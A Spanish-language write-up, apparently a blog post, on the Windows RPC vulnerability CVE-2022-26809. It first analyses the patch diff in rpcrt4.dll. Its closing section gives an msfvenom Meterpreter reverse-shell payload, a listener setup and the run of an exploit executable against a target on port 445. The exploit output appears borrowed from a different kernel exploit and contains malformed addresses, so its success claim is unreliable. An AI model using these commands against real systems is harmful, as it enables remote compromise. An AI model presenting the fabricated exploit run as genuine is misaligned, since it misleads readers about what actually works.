
La CVE-2022-26809 es una debilidad en un componente central de Windows (RPC) que obtuvo una puntuación CVSS de 9.8 no sin razón, ya que el ataque no requiere autenticación y puede ejecutarse remotamente a través de la red, y puede resultar en la ejecución remota de código (RCE) con los privilegios del servicio RPC, lo cual depende del proceso que aloja el runtime de RPC. Ese bug crítico, con un poco de suerte, permite obtener acceso a un host Windows sin parchear que ejecute SMB. La vulnerabilidad puede explotarse tanto desde fuera de la red para vulnerarla como entre máquinas dentro de la red.
Información del proveedor
Hosts vulnerables probados:
Actualizaremos esa lista más adelante. Sospechamos que casi todas las compilaciones con SMB en ejecución y el puerto 445 abierto se verán afectadas.
TCP 135,139,445
La CVE afirmó que las vulnerabilidades residen en el runtime de RPC de Windows, implementado en una biblioteca llamada rpcrt4.dll. Esta biblioteca de runtime se carga tanto en procesos cliente como servidor que utilizan el protocolo RPC para la comunicación. Comparamos las versiones 10.0.22000.434 (marzo) y 10.0.22000.613 (parcheada) y señalamos una lista de cambios.
Las funciones OSF_SCALL::ProcessResponse y OSF_CCALL::ProcessReceivedPDU son de naturaleza similar; ambas procesan paquetes RPC, pero una se ejecuta en el lado del servidor y la otra en el lado del cliente (SCALL y CCALL). Al hacer diff de OSF_SCALL::ProcessReceivedPDU, notamos dos bloques de código que se añadieron en la nueva versión.


Al observar el código parcheado, vimos que después de QUEUE::PutOnQueue se llamaba a una nueva función. Inspeccionando la nueva función y profundizando en su código, descubrimos que verifica desbordamientos de enteros. En otras palabras, la nueva función del parche se añadió para verificar que una variable entera se mantuviera dentro de un rango de valores esperado.

Profundizando en el código vulnerable de OSF_SCALL:GetCoalescedBuffer, notamos que el error de desbordamiento de enteros podría conducir a un desbordamiento de búfer en el heap, donde los datos se copian en un búfer demasiado pequeño para contenerlos. Esto a su vez permite que se escriban datos fuera de los límites del búfer, en el heap. Cuando se explota, esta primitiva nos lleva a la ejecución remota de código.
También se añadió una llamada similar para verificar el desbordamiento de enteros en otras funciones:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
La vulnerabilidad de desbordamiento de enteros y la función que la previene existen tanto en los flujos de ejecución del lado del cliente como del lado del servidor.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip puerto
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!